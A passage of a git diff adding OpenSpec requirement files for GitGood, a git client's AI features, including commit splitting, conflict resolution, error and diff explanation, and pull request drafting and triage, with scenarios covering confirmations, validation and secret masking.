Steps SHALL run sequentially through GitGood's existing operations; steps that change history or discard work SHALL open the existing confirmation dialogs (including the force-push and discard dialogs and Recycle Bin behaviour), and cancelling a dialog SHALL stop the plan. A failing step SHALL stop the plan and the completed steps SHALL be listed. Every executed step SHALL be written to the application log with its arguments and exit code. Denylisted steps SHALL never run. + +#### Scenario: Destructive step confirmed +- **WHEN** a plan reaches a `reset --hard` step +- **THEN** the existing confirmation dialog opens and nothing happens until the user confirms + +#### Scenario: Confirmation cancelled +- **WHEN** the user cancels the confirmation for step 2 of 3 +- **THEN** step 2 and 3 do not run and step 1 is listed as completed + +#### Scenario: Audit log +- **WHEN** any step is executed +- **THEN** the log contains the step's arguments and exit code + +### Requirement: Ambiguous requests produce a clarifying question +When the request is ambiguous, the model MAY return a single clarifying question. When a question is present, any steps returned alongside it SHALL be discarded and only the question shown; the user's answer SHALL be sent with the original request for one further round. + +#### Scenario: Which commit +- **WHEN** the user asks to "branch from the logging commit" and several commits mention logging +- **THEN** the palette shows a question listing the candidates and no steps + +#### Scenario: Answer round +- **WHEN** the user answers the question +- **THEN** a plan is requested with the original text, the question and the answer, and no further question is accepted + +### Requirement: Palette keeps a session history +The palette SHALL keep the last 20 plans and results in memory for the session with a **Copy commands** action, and SHALL discard them when the app exits. + +#### Scenario: History entry +- **WHEN** a plan has run +- **THEN** it appears in the palette history with its commands and outcome and can be copied diff --git a/openspec/specs/ai-commit-splitting/spec.md b/openspec/specs/ai-commit-splitting/spec.md new file mode 100644 index 0000000..6707bea --- /dev/null +++ b/openspec/specs/ai-commit-splitting/spec.md @@ -0,0 +1,91 @@ +# ai-commit-splitting Specification + +## Purpose +Turns one mixed working tree into a series of coherent commits by letting AI propose a hunk-level grouping that the user edits and approves before anything is committed. + +## Requirements + +### Requirement: Entry point and preconditions +The Changes tab commit form and the Repository menu SHALL offer **Split into commits with AI**. It SHALL be hidden when the AI provider is disabled, not actionable with a tooltip when fewer than two hunks are included, and not offered while a merge is in progress or when Amend is checked. + +#### Scenario: Enough hunks +- **WHEN** the provider is enabled and at least two hunks are included +- **THEN** the action is actionable in the commit form overflow menu and the Repository menu + +#### Scenario: Single hunk +- **WHEN** only one hunk is included +- **THEN** the action is visible but not actionable and the tooltip explains at least two hunks are needed + +#### Scenario: Merge in progress +- **WHEN** a merge is in progress +- **THEN** the action is not offered + +### Requirement: Pre-flight and proposal +Before calling the model the system SHALL show the number of files and hunks, the items that cannot be split (binary, image, submodule, conflicted, renamed, deleted and mode-changed files are whole-file only or excluded) and a size estimate, with Propose and Cancel. The proposal SHALL be cancellable and SHALL show progress. When the diff exceeds 150,000 bytes the pre-flight SHALL offer a file-only split that sends hunk headers and stats without bodies. + +#### Scenario: Pre-flight shown +- **WHEN** the user activates the action +- **THEN** a card lists files, hunks, excluded items and the size estimate before any AI call + +#### Scenario: Oversized diff +- **WHEN** the included diff exceeds 150,000 bytes +- **THEN** the pre-flight offers to split by file only + +### Requirement: Plan integrity +Every included hunk MUST appear in exactly one proposed commit or in a Not included bucket. Unknown hunk identifiers and paths SHALL be dropped with a warning; a hunk assigned to several commits SHALL stay in the first; a whole-file assignment that overlaps hunk assignments SHALL be converted to its hunk identifiers. New (untracked), renamed, deleted and mode-changed files SHALL only be assigned whole. An empty proposed summary SHALL receive a placeholder and a warning, and Apply SHALL stay disabled until the user edits it. A proposal yielding zero or one commit SHALL be reported as already coherent and offer the normal commit flow. + +#### Scenario: Duplicate assignment +- **WHEN** the model assigns the same hunk to two commits +- **THEN** the hunk stays in the first commit and a warning badge is shown + +#### Scenario: Unassigned hunk +- **WHEN** the model leaves a hunk out of every commit +- **THEN** the hunk appears in the Not included bucket and is never committed silently + +#### Scenario: Untracked file +- **WHEN** an untracked file is included +- **THEN** it can only be placed whole in one commit + +#### Scenario: Already coherent +- **WHEN** the proposal contains one commit holding everything +- **THEN** the dialog says the change is already coherent and offers the normal commit flow + +### Requirement: Editable plan +The plan dialog SHALL show ordered commit cards with summary, description, rationale and hunks, and a diff preview for the selected hunk. The user SHALL be able to drag hunks between commits and to Not included, reorder commits, merge two commits, edit messages and delete a card (its hunks move to Not included). Apply SHALL reflect the edited plan. + +#### Scenario: Move a hunk +- **WHEN** the user drags a hunk from commit 2 to commit 1 and applies +- **THEN** the created commit 1 contains that hunk and commit 2 does not + +#### Scenario: Delete a card +- **WHEN** the user deletes a commit card +- **THEN** its hunks appear in Not included and the remaining commits are renumbered + +### Requirement: Sequential application +Apply SHALL create the commits in plan order using the same partial-patch path as a manual partial commit, showing progress and refreshing status after each commit. Before starting, Apply MUST compare the recorded content hashes of every included file with the current working tree and refuse with a Re-propose offer on any mismatch. If a patch fails to apply, the sequence MUST stop, already-created commits remain, nothing remains staged for the failed commit, and the dialog states which commit failed. Pre-commit hook failures SHALL stop the sequence and show the hook output. + +#### Scenario: Successful apply +- **WHEN** the user applies a two-commit plan +- **THEN** History shows two new commits with the planned messages in order and the working tree contains only Not included hunks + +#### Scenario: Working tree changed +- **WHEN** a file was edited after the plan was proposed and the user clicks Apply +- **THEN** no commit is created and the dialog offers Re-propose + +#### Scenario: Patch fails mid-sequence +- **WHEN** the second of three patches fails to apply +- **THEN** the first commit exists, no content is staged, the remaining hunks are unchanged in the working tree and the dialog names the failed commit + +### Requirement: Undo +After a successful apply, the completion toast SHALL offer **Undo all**, which restores the pre-split HEAD while keeping all changes in the working tree, and SHALL be offered only while the recorded start commit is still HEAD's ancestor and nothing has been pushed since. + +#### Scenario: Undo +- **WHEN** the user clicks Undo all right after applying +- **THEN** HEAD is the recorded start commit and the working tree contains all the split changes unstaged + +### Requirement: No automatic writes +The proposal MUST NOT stage or commit anything; only Apply creates commits, and nothing is ever pushed by this capability. + +#### Scenario: Cancel the plan +- **WHEN** the user closes the plan dialog without applying +- **THEN** the index and working tree are unchanged diff --git a/openspec/specs/ai-conflict-resolution/spec.md b/openspec/specs/ai-conflict-resolution/spec.md index 7f39e10..e03a52c 100644 --- a/openspec/specs/ai-conflict-resolution/spec.md +++ b/openspec/specs/ai-conflict-resolution/spec.md @@ -33,7 +33,7 @@ The user SHALL be able to choose the AI provider (Anthropic API with a stored ke - **THEN** the resolution fails with a not-configured error pointing to Options → AI ### Requirement: Each conflict block receives a structured resolution -For each conflict block GitGood SHALL send the block (ours, theirs and base when diff3 markers are present) with surrounding context, the in-progress operation (merge, rebase, cherry-pick or revert), branch names and recent commit subjects on both sides, and SHALL request a JSON answer containing, per block, the replacement text, a one-sentence rationale and a confidence of high, medium or low. +For each conflict block GitGood SHALL send the block (ours, theirs and base when diff3 markers are present) with surrounding context, the in-progress operation (merge, rebase, cherry-pick or revert), branch names and recent commit subjects on both sides, and SHALL request a JSON answer containing, per block, the replacement text, a one-sentence rationale and a confidence of high, medium or low. When the user has manually resolved other files in the same operation and chose a guided run, the request SHALL also include up to three of those manual resolutions as worked examples, trimmed to their conflict blocks plus 20 lines of context and capped at 12,000 bytes in total. When the run is a retry after a failed post-resolution check, the request SHALL include the failing command and the last 4,000 characters of its output. #### Scenario: diff3 markers - **WHEN** the conflicted file uses diff3 or zdiff3 markers with a base section @@ -43,6 +43,14 @@ For each conflict block GitGood SHALL send the block (ours, theirs and base when - **WHEN** the model answers with one resolution per block - **THEN** every block is replaced by its resolution and the rationale and confidence are kept for display +#### Scenario: Guided run includes examples +- **WHEN** the user chooses Resolve remaining like a manually resolved file +- **THEN** the request for each remaining file contains that manual resolution as a worked example and the result is labelled as guided by that file + +#### Scenario: Retry after failed check +- **WHEN** the user chooses Ask AI to fix after a failed post-resolution check +- **THEN** the request contains the check command and its output tail, and at most one such retry is performed per resolution + ### Requirement: Model output is validated before it is written GitGood SHALL reject the whole resolution when any block's replacement still contains conflict markers, when the response does not match the schema, or when any block is missing a resolution. Resolutions for block ids not present in the file SHALL be ignored. @@ -66,23 +74,35 @@ The resolved file SHALL preserve the original line endings and the text outside - **THEN** nothing is written and the user is told to try again ### Requirement: Resolved files are staged when configured -When the **Mark files as resolved automatically** setting is on, GitGood SHALL run the equivalent of `git add` on the resolved file after writing it; otherwise the file SHALL remain unstaged for the user to mark resolved. +When the **Mark files as resolved automatically** setting is on, GitGood SHALL run the equivalent of `git add` on the resolved file after writing it, unless a post-resolution check is configured and failed, in which case the file SHALL stay resolved on disk but unstaged. Otherwise the file SHALL remain unstaged for the user to mark resolved. #### Scenario: Auto-stage on -- **WHEN** the setting is on and a resolution succeeds +- **WHEN** the setting is on, no check is configured, and a resolution succeeds - **THEN** the file no longer appears as conflicted and the result reports it as staged +#### Scenario: Auto-stage blocked by failed check +- **WHEN** the setting is on and the post-resolution check fails +- **THEN** the resolved content stays on disk, the file is not staged, and the result reports the failed check + ### Requirement: Results are reported with confidence and can be undone -After a resolution GitGood SHALL show a toast with the rationale summary and, when any block is low confidence, the count of low-confidence blocks with the first rationale. The toast SHALL offer **Undo** (or **Undo all** for a multi-file run) which restores the original conflicted content and re-marks the file as unresolved in the index. +After a resolution GitGood SHALL show a toast with the rationale summary and, when any block is low confidence, the count of low-confidence blocks with the first rationale. The toast SHALL offer **Undo** (or **Undo all** for a multi-file run) which restores the original conflicted content and re-marks the file as unresolved in the index. In addition, the resolved file SHALL open in the diff pane with each resolved block's line range tinted by confidence (high, medium, low), a legend whose counts match the toast, and next/previous low-confidence navigation. The conflicts dialog SHALL show a per-file confidence summary and list files with any low-confidence block first. #### Scenario: Low-confidence block - **WHEN** at least one block was resolved with low confidence -- **THEN** the toast says how many blocks were flagged and shows the first rationale +- **THEN** the toast says how many blocks were flagged and shows the first rationale, and the block's range is outlined as low confidence in the diff pane #### Scenario: Undo - **WHEN** the user clicks Undo - **THEN** the file content is restored to the original conflicted content and the index entry is unresolved +#### Scenario: Legend matches toast +- **WHEN** a file with two high, one medium and one low block is resolved +- **THEN** the legend shows counts 2, 1 and 1 and the toast reports one low-confidence block + +#### Scenario: Tints cleared on external edit +- **WHEN** the resolved file changes on disk after the resolution +- **THEN** the confidence tints for that file are removed + ### Requirement: Multi-file resolution runs with progress and cancellation **Resolve all with AI** SHALL resolve every conflicted text file, a few at a time, reporting per-file progress (started, thinking, writing, done, error). A cancel action SHALL abort in-flight requests; files already written stay resolved and files not started are left conflicted. Per-file failures SHALL be reported individually without aborting the other files. @@ -104,3 +124,55 @@ AI failures SHALL be reported with a classified message (not configured, authent #### Scenario: Refusal - **WHEN** the model declines to resolve the file after any fallback - **THEN** the user is told the model declined and to resolve manually or try another model + +### Requirement: Explain-why popover with per-block side selection +Each resolved block SHALL have a gutter badge that opens a popover showing the model's rationale and the original ours, theirs and base text (collapsible), with actions **Accept**, **Use ours**, **Use theirs**, **Use base** (when a base exists) and **Edit in editor**. Choosing a side SHALL rewrite only that block from the pre-resolution snapshot, leave the file modified but not marked resolved until the user confirms, and SHALL be refused when the file on disk no longer matches the AI output. + +#### Scenario: Use theirs for one block +- **WHEN** the user picks Use theirs in the popover for block 2 of a three-block file +- **THEN** only block 2's range is replaced with the theirs text, blocks 1 and 3 keep the AI resolution, and the file is shown as modified and unresolved + +#### Scenario: File changed on disk +- **WHEN** the file content differs from the AI output when a side is chosen +- **THEN** the action is refused with a message that the file changed on disk + +### Requirement: Post-resolution check runs a configured command +When a check command is configured, GitGood SHALL run it in the repository root after each successful AI resolution (single or all), with the same environment as git operations, no interactive prompts, a 5-minute timeout, and its output streamed into the progress toast. A passing check SHALL be reported as passed; a failing or timed-out check SHALL show a banner with the tail of the output, a **Show output** action and an **Ask AI to fix** action. + +#### Scenario: Check passes +- **WHEN** the configured command exits with code 0 +- **THEN** the toast reports Check passed and staging proceeds according to the auto-stage setting + +#### Scenario: Check times out +- **WHEN** the command has not exited after 5 minutes +- **THEN** it is killed and reported as failed with a timed-out reason + +#### Scenario: No check configured +- **WHEN** neither the settings nor the repository provide a check command +- **THEN** no check runs and no check UI is shown + +### Requirement: Repository-provided check commands require trust +A check command read from the repository's `.gitgood/config.json` SHALL take precedence over the user's setting only when the **allow repository check commands** setting is on, SHALL be labelled as coming from the repository, and SHALL NOT run until the user has confirmed it once for that repository after seeing the full command text and the file path. Declining SHALL disable repository commands for that repository until re-enabled. + +#### Scenario: First run in a repository +- **WHEN** a repository provides a check command and the user has not trusted it +- **THEN** a confirmation shows the full command and file path and nothing runs until the user accepts + +#### Scenario: Declined +- **WHEN** the user declines the confirmation +- **THEN** the repository command is not run now or later for that repository, and the user's own setting (if any) is used instead + +### Requirement: Manual resolutions are captured as examples for the current operation +When the user marks a conflicted file as resolved after editing it or after per-block side selection, GitGood SHALL record the pair of original conflicted content and resolved content in memory for the current merge, rebase, cherry-pick or revert. The conflicts dialog SHALL offer **Resolve remaining like ``** whenever at least one example exists and other text conflicts remain. Examples SHALL persist across rebase continue steps and SHALL be discarded when the operation completes or is aborted or the app exits, and SHALL never be written to disk. + +#### Scenario: Offer appears after one manual resolution +- **WHEN** the user resolves one of three conflicted files by hand and marks it resolved +- **THEN** the conflicts dialog shows Resolve remaining like that file + +#### Scenario: Examples cleared on abort +- **WHEN** the user aborts the merge +- **THEN** recorded examples are discarded and the guided action is no longer offered + +#### Scenario: Single conflicted file +- **WHEN** only one file is conflicted +- **THEN** the guided action is not shown diff --git a/openspec/specs/ai-error-explanation/spec.md b/openspec/specs/ai-error-explanation/spec.md new file mode 100644 index 0000000..99531c4 --- /dev/null +++ b/openspec/specs/ai-error-explanation/spec.md @@ -0,0 +1,87 @@ +# ai-error-explanation Specification + +## Purpose +Explains a failed git or GitHub operation in plain language and offers fixes that map only onto actions GitGood already provides, so the user gets a next step without leaving the error dialog. + +## Requirements + +### Requirement: Explanation is offered for eligible errors only +The error dialog SHALL show a collapsed **Explain with AI** row when an AI provider is configured and the error is not one that already has a dedicated guided flow (conflicts, authentication failure, GitHub not signed in, AI not configured, cancelled). The row SHALL be absent when the provider is `disabled`. + +#### Scenario: Unknown error +- **WHEN** a push fails with an unclassified error +- **THEN** the dialog shows the raw output and a collapsed Explain with AI row + +#### Scenario: Error with dedicated flow +- **WHEN** an operation stops with conflicts +- **THEN** the conflicts flow opens and no Explain with AI row is shown + +#### Scenario: Provider disabled +- **WHEN** the AI provider is `disabled` +- **THEN** the error dialog has no Explain with AI row + +### Requirement: Explanation content and structure +On request GitGood SHALL show, inside the dialog, a one- or two-sentence **What happened**, a **Likely cause**, and up to three **Suggested fixes** ordered from least to most destructive. The request SHALL be cancellable and a backend failure SHALL show a retry affordance while keeping the raw output visible. When the explanation yields no valid fixes, only the explanation text SHALL be shown. + +#### Scenario: Successful explanation +- **WHEN** the model responds +- **THEN** the dialog shows what happened, the likely cause and the fix buttons without closing + +#### Scenario: Backend failure +- **WHEN** the AI request fails +- **THEN** the row shows that no explanation could be obtained and offers Retry + +### Requirement: Fixes map only onto known actions +Each fix SHALL either name an action from a fixed set (fetch, pull, fetch and pull, push with upstream, force push with lease, stash and retry, discard and retry, remove stale lock file, abort merge/rebase/cherry-pick/revert, continue rebase, open sign-in, open remote settings, open identity settings, rename branch, open in terminal) or be copy-only with a single `git` or `gh` command. A fix naming an unknown action SHALL become copy-only if it has a command and SHALL be dropped otherwise. Copy-only commands containing shell operators or not starting with `git ` or `gh ` SHALL be dropped. At most three fixes SHALL be kept and text fields SHALL be capped at 500 characters. + +#### Scenario: Unknown action with command +- **WHEN** a fix names an action outside the set but includes `git fetch --prune` +- **THEN** it is shown as a copy-only fix + +#### Scenario: Chained command +- **WHEN** a copy-only fix contains `git fetch && git pull` +- **THEN** the fix is dropped + +### Requirement: Fixes respect repository state and risk +Fixes whose action does not apply to the current repository state SHALL be dropped (for example continue rebase when no rebase is in progress, or push with upstream when an upstream exists). The risk shown for an action fix SHALL be the higher of the model's classification and the action map's own classification. A fix flagged to retry the original operation SHALL only do so when the failed operation is retryable. + +#### Scenario: Inapplicable fix +- **WHEN** the model suggests continue rebase and no rebase is in progress +- **THEN** that fix is not shown + +#### Scenario: Risk override +- **WHEN** the model labels force push with lease as safe +- **THEN** the fix is shown as touching the remote + +### Requirement: Fix execution goes through existing operations and confirmations +Clicking an action fix SHALL close the dialog and run the mapped operation through the same path as the manual action, including its confirmation dialogs (force push, discard). Copy-only fixes SHALL offer a copy action and **Run in terminal**, which opens the configured shell at the repository without executing the command. No fix SHALL run automatically. The remove-lock-file fix SHALL refuse when a git process is running or the lock file is younger than 10 seconds, and SHALL require confirmation otherwise. + +#### Scenario: Publish branch fix +- **WHEN** the user clicks the push with upstream fix after a no-upstream failure +- **THEN** the push runs with set-upstream and, if the original operation was retryable, it is retried after success + +#### Scenario: Run in terminal +- **WHEN** the user clicks Run in terminal on a copy-only fix +- **THEN** the shell opens at the repository and the command is not executed + +#### Scenario: Fresh lock file +- **WHEN** `.git/index.lock` is younger than 10 seconds or a git process is running +- **THEN** the remove-lock-file fix refuses and explains why + +### Requirement: Diagnostic output is scrubbed before it leaves the process +Before stderr, stdout or commands are sent to the model, GitHub tokens, bearer tokens, URL user info and API key values SHALL be masked, and each stream SHALL be limited to its last 4,000 characters. Remote information sent SHALL include names and hosts only. + +#### Scenario: Token in stderr +- **WHEN** stderr contains a `ghp_` token or an `https://user:password@host` URL +- **THEN** the prompt contains masked placeholders instead of the secret values + +### Requirement: Automatic explanation is limited to unclassified errors +When the **explain errors automatically** setting is on, the explanation SHALL load as soon as the dialog opens only for unclassified errors; classified errors SHALL still require the explicit click. When offline, the row SHALL say the app appears to be offline and SHALL NOT retry automatically. + +#### Scenario: Automatic mode on classified error +- **WHEN** the setting is on and a non-fast-forward push fails +- **THEN** the row stays collapsed until clicked + +#### Scenario: Offline +- **WHEN** the AI request fails with a network error +- **THEN** the row reports that the app appears to be offline and does not retry on its own diff --git a/openspec/specs/ai-explain-diff/spec.md b/openspec/specs/ai-explain-diff/spec.md new file mode 100644 index 0000000..29a9cdc --- /dev/null +++ b/openspec/specs/ai-explain-diff/spec.md @@ -0,0 +1,98 @@ +# ai-explain-diff Specification + +## Purpose +Explains a commit, a file's changes or a selected range of lines in plain language, so an engineer who did not write the change can understand what it does and what to check. + +## Requirements + +### Requirement: Explain entry points +The system SHALL offer Explain for a selected commit in History (header button and context menu), for the selected file's diff in History and Changes (diff pane header), and for a selected range of lines in a text diff (context menu). All entry points SHALL be hidden when the AI provider is disabled. For binary, image, submodule or too-large diffs the file-level entry SHALL be shown as not actionable with the reason. + +#### Scenario: Commit in History +- **WHEN** the provider is enabled and a commit is selected in History +- **THEN** an Explain commit action is available in the commit header and the commit context menu + +#### Scenario: Selected lines +- **WHEN** the user selects a range of lines in a text diff and opens the context menu +- **THEN** an Explain selected lines action is available + +#### Scenario: Binary file +- **WHEN** the selected file's diff is binary +- **THEN** the Explain action for the file is not actionable and shows "Nothing to explain" + +#### Scenario: Provider disabled +- **WHEN** the provider setting is `disabled` +- **THEN** no Explain action is rendered anywhere + +### Requirement: Explanation content and structure +An explanation SHALL be presented in four sections: What changed, Why (inferred), Impact and Watch out for. Inferred intent MUST be visibly separated from observed changes. The explanation MUST NOT restate the diff line by line. Text sections SHALL be capped at 2,000 characters each and Watch out for at 8 items. An explanation with an empty What changed section SHALL be rejected as invalid output. + +#### Scenario: Successful explanation +- **WHEN** the user explains a commit that changes a default value +- **THEN** the panel shows the four sections and the impact section mentions the changed default + +#### Scenario: Empty result +- **WHEN** the model returns an empty What changed section +- **THEN** the panel shows an error with Retry and no partial explanation is rendered + +### Requirement: Line references resolve to the diff +References in the explanation SHALL be rendered as path and line links. Every rendered reference MUST point at a path in the explained target and at a line present on the new side of the visible diff, or carry no line. References that fail this check SHALL be removed. Clicking a reference SHALL scroll the diff to that line. + +#### Scenario: Valid reference +- **WHEN** the explanation references a line that exists in the diff +- **THEN** the reference is rendered as a link and clicking it scrolls the diff to that line + +#### Scenario: Invalid reference +- **WHEN** the model returns a reference to a path not in the target or a line not in the diff +- **THEN** that reference is not rendered + +### Requirement: Scope-specific context +For a commit, the explanation SHALL use the commit message, author, date, changed files, per-file patches and up to five recent commits per file. For a file, it SHALL use the loaded diff and the new-side content when available. For a range, it SHALL use the selected lines with surrounding context from both sides. Merge commits SHALL be explained against their first parent and identified as merges; root commits SHALL be explained against the empty tree; renamed files SHALL be referenced by their new path. + +#### Scenario: Merge commit +- **WHEN** the user explains a merge commit +- **THEN** the explanation is produced from the diff against the first parent and states the commit is a merge + +#### Scenario: Root commit +- **WHEN** the user explains the repository's first commit +- **THEN** the explanation states the files are new and no error occurs + +#### Scenario: Renamed file +- **WHEN** the commit renames a file and edits it +- **THEN** references use the new path + +### Requirement: Size limits and partial explanations +Input sent to the model SHALL be capped at 120,000 bytes; when a commit exceeds it, the largest files SHALL be truncated first, omitted files SHALL be listed to the model, and the panel SHALL show a partial badge. Binary files SHALL be described by name only. + +#### Scenario: Huge commit +- **WHEN** a commit's patches exceed the byte cap +- **THEN** the explanation is produced from the truncated input and the panel shows a partial badge + +### Requirement: Follow-up questions +The panel SHALL let the user ask up to five follow-up questions about the same target. Each follow-up SHALL reuse the original context and the previous answers. The counter of remaining turns SHALL be visible. + +#### Scenario: Follow-up within limit +- **WHEN** the user asks "why was the null check removed?" after an explanation +- **THEN** an answer appears under the explanation and the remaining-turn counter decreases by one + +#### Scenario: Limit reached +- **WHEN** five follow-ups have been asked +- **THEN** the input is not actionable and states the limit + +### Requirement: Copy as Markdown +The panel SHALL offer Copy as Markdown, producing the four sections with the commit SHA (when the target is a commit) and the referenced paths, suitable for pasting into a pull request comment. + +#### Scenario: Copy +- **WHEN** the user clicks Copy as Markdown on a commit explanation +- **THEN** the clipboard contains Markdown with the SHA, section headings and path references + +### Requirement: Loading, cancellation and errors +While an explanation is in progress the panel SHALL show a loading state and a Cancel action. Cancelling SHALL return the panel to idle. A backend error SHALL show the classified message with Retry. No repository content SHALL be written and no GitHub call SHALL be made by this capability. + +#### Scenario: Cancel +- **WHEN** the user cancels a running explanation +- **THEN** the call is aborted and the panel returns to idle + +#### Scenario: Backend error +- **WHEN** the backend fails with a network error +- **THEN** the panel shows the error message and a Retry action diff --git a/openspec/specs/ai-pr-description/spec.md b/openspec/specs/ai-pr-description/spec.md new file mode 100644 index 0000000..c70cb15 --- /dev/null +++ b/openspec/specs/ai-pr-description/spec.md @@ -0,0 +1,114 @@ +# ai-pr-description Specification + +## Purpose +Lets a user draft a pull request title and body with AI from the branch's commits, diff and PR template, so the Create pull request dialog starts filled in and only needs review. + +## Requirements + +### Requirement: Draft action availability +The Create pull request dialog SHALL offer a **Draft with AI** action next to the title field. The action SHALL be hidden when the AI provider is set to disabled, and SHALL be shown but not actionable, with an explanatory tooltip, when the head branch has no commits ahead of the base branch or when the base ref is not available locally. + +#### Scenario: Provider disabled +- **WHEN** the AI provider setting is `disabled` and the user opens the Create pull request dialog +- **THEN** no Draft with AI action is rendered anywhere in the dialog + +#### Scenario: No commits ahead of base +- **WHEN** the head branch has zero commits that are not on the base branch +- **THEN** the Draft with AI action is visible but not actionable and its tooltip says there is nothing to draft + +#### Scenario: Base ref missing locally +- **WHEN** the selected base branch has no local ref (for example an unfetched fork upstream) +- **THEN** the action is not actionable and the tooltip says the base branch must be fetched first, and no fetch is started automatically + +### Requirement: Draft content from commits and diff +On activation the system SHALL gather the commits ahead of the base branch, the combined diff against the merge base, the branch name and, when present, the repository's PR template, and SHALL produce a title and body from one AI call. The title SHALL be imperative, at most 72 characters when possible and never more than 256, with no trailing period. The body SHALL explain intent and notable decisions rather than list files. + +#### Scenario: Successful draft +- **WHEN** the user activates Draft with AI on a branch with commits ahead of base and empty title and body fields +- **THEN** the title and body fields are filled with the drafted content and remain editable + +#### Scenario: Title normalization +- **WHEN** the model returns a title with a trailing period or longer than 256 characters +- **THEN** the trailing period is removed and the title is truncated to 256 characters before it is shown + +#### Scenario: Empty title from model +- **WHEN** the model returns an empty title +- **THEN** the draft is rejected as invalid output, the fields keep their previous values and an error toast is shown + +### Requirement: Template preservation +When the repository has a PR template, the drafted body MUST contain every heading from the template in the original order, with each section filled with relevant content or the literal `_N/A_`. Checkboxes in the template SHALL be kept and ticked only when the diff clearly satisfies them. If the returned body violates the heading order, the system SHALL rebuild the body by placing the drafted paragraphs under the first heading and appending the rest of the template verbatim, and SHALL tell the user the template structure was restored. + +#### Scenario: All headings survive +- **WHEN** the repository has a template with headings `## Summary`, `## Testing`, `## Checklist` and the user drafts +- **THEN** the body contains those three headings in that order and no heading is missing + +#### Scenario: Model drops a heading +- **WHEN** the model returns a body that omits or reorders a template heading +- **THEN** the body is rebuilt with the template's headings in order and the callout reads "Template structure restored" + +#### Scenario: Template with CRLF line endings +- **WHEN** the template file uses CRLF line endings +- **THEN** the drafted body uses the template's line endings + +### Requirement: Issue linking from commits +The system SHALL extract issue references (`#N`, `Fixes #N`, `owner/repo#N`) from the commit messages, ignoring references inside code spans, and SHALL include only those references in the body. A reference SHALL use a closing keyword only when a commit message contains a closing keyword (`fix`, `fixes`, `fixed`, `close`, `closes`, `closed`, `resolve`, `resolves`, `resolved`) for that issue; otherwise it SHALL be included as a plain reference. When GitHub authentication is available, up to 5 distinct issue titles MAY be fetched to inform the body; when unavailable the draft SHALL still succeed without titles. + +#### Scenario: Closing keyword in a commit +- **WHEN** a commit message contains "Fixes #42" +- **THEN** the body links issue 42 with a closing keyword + +#### Scenario: Plain mention in a commit +- **WHEN** a commit message contains "see #17" and no commit uses a closing keyword for 17 +- **THEN** the body references issue 17 without a closing keyword, even if the model proposed one + +#### Scenario: Model invents an issue +- **WHEN** the model returns an issue number that appears in no commit message and not in the existing body +- **THEN** that issue is not included in the body + +#### Scenario: Signed out of GitHub +- **WHEN** the GitHub CLI is not authenticated +- **THEN** the draft completes with issue numbers but without fetched issue titles + +### Requirement: Protection of user-entered content +If the title or body already contains user-entered text when the draft finishes, the system MUST ask the user to Replace, Keep mine or Append before changing the fields. + +#### Scenario: Existing content +- **WHEN** the user has typed a body and then activates Draft with AI +- **THEN** a prompt offers Replace, Keep mine and Append, and the fields change only according to the choice + +#### Scenario: Append chosen +- **WHEN** the user chooses Append +- **THEN** the drafted body is added after the existing text and the existing title is kept unless it was empty + +### Requirement: Progress, cancellation and failure handling +While drafting, the title and body fields SHALL be read-only, a progress indicator SHALL be shown and a Cancel action SHALL be available. Cancelling or a backend failure MUST restore the fields to their previous values, and a failure SHALL show the classified error message. + +#### Scenario: Cancel during draft +- **WHEN** the user cancels while the draft is in progress +- **THEN** the AI call is aborted and the title and body show exactly what they showed before the draft started + +#### Scenario: Backend error +- **WHEN** the AI backend returns an authentication, network or truncation error +- **THEN** a toast shows the classified message and the fields are restored + +### Requirement: Size limits and disclosure +The diff sent to the model SHALL be capped at 120,000 bytes and flagged as truncated when cut; the commit list SHALL be capped at 100 entries and summarized to subjects only above 400 commits; the template SHALL be capped at 6,000 characters. The first time a user drafts, the system SHALL show a dismissable notice that the diff and commit messages are sent to the configured AI provider. + +#### Scenario: Oversized diff +- **WHEN** the combined diff exceeds 120,000 bytes +- **THEN** the model receives the full stat, a truncated diff and a truncated flag, and the resulting draft is still accepted + +#### Scenario: First use notice +- **WHEN** a user drafts for the first time on this installation +- **THEN** a dismissable notice states what data is sent to the provider + +### Requirement: Attribution and no automatic submission +The drafted body SHALL show an "AI drafted, review before creating" callout that disappears once the user edits the body or creates the PR. When the AI footer setting is enabled and the body still originates from the draft at create time, the system SHALL append an AI-drafted footer. The draft MUST NOT create the pull request, mark it ready or request reviewers. + +#### Scenario: Footer appended on create +- **WHEN** the footer setting is on, the body was drafted and the user clicks Create pull request +- **THEN** the created PR body ends with the AI-drafted footer + +#### Scenario: Draft never submits +- **WHEN** the draft completes +- **THEN** no pull request exists on GitHub until the user clicks Create pull request diff --git a/openspec/specs/ai-pr-triage/spec.md b/openspec/specs/ai-pr-triage/spec.md new file mode 100644 index 0000000..ccd50e7 --- /dev/null +++ b/openspec/specs/ai-pr-triage/spec.md @@ -0,0 +1,79 @@ +# ai-pr-triage Specification + +## Purpose +Gives each open pull request a short AI-written triage line and a deterministic state so the user can see at a glance what a PR does, who it is waiting on and what to do next. + +## Requirements + +### Requirement: Triage lines appear in the pull request list +Each pull request row SHALL show a triage line (state chip plus one-sentence summary, at most 140 characters) when a cached line exists for the PR's current `updatedAt`, and an empty slot otherwise. Hovering the line SHALL show the full summary and the reason for the state. Triage UI SHALL be absent when the AI provider is `disabled`. + +#### Scenario: Cached line +- **WHEN** the PR dialog opens and a line is cached for the PR's current update time +- **THEN** the row shows the state chip and summary without any AI call + +#### Scenario: Provider disabled +- **WHEN** the AI provider is `disabled` +- **THEN** no triage lines, buttons, filters or badges are shown + +### Requirement: Summarize generates lines only for PRs without a fresh cache +The header SHALL offer **Summarize N pull requests** where N counts open PRs with no cached line for their current `updatedAt`. Running it SHALL request lines in batches of at most 15 PRs per model call, fill rows progressively, report progress, and be cancellable between batches. PRs missing from a batch response SHALL be retried once individually and otherwise marked as not summarized. A backend failure SHALL keep existing cached lines. + +#### Scenario: Partial cache +- **WHEN** 20 PRs are open and 5 have fresh lines +- **THEN** the button reads Summarize 15 pull requests and running it requests exactly those 15 + +#### Scenario: Cancel between batches +- **WHEN** the user cancels after the first batch of a 40-PR run +- **THEN** the first 15 lines are kept and no further batch is requested + +#### Scenario: Missing item +- **WHEN** the batch response omits one PR number +- **THEN** that PR is retried alone once and, if still missing, shown as not summarized + +### Requirement: Inputs are metadata, not diffs +Requests SHALL include for each PR: number, title, body (capped at 1,500 characters), author, draft flag, base and head, head repository for cross-repository PRs, labels, review decision, review requests, latest reviews (author and state), checks summary with failing check names, mergeability, update time and age, and file statistics when the diff-stat setting is on (capped at 50 files). No diff content SHALL be sent. The signed-in login SHALL be included so the model can classify waiting-on-you. + +#### Scenario: Diff stat off +- **WHEN** the include-diff-stat setting is off +- **THEN** the request contains no per-file statistics + +#### Scenario: Fork PR 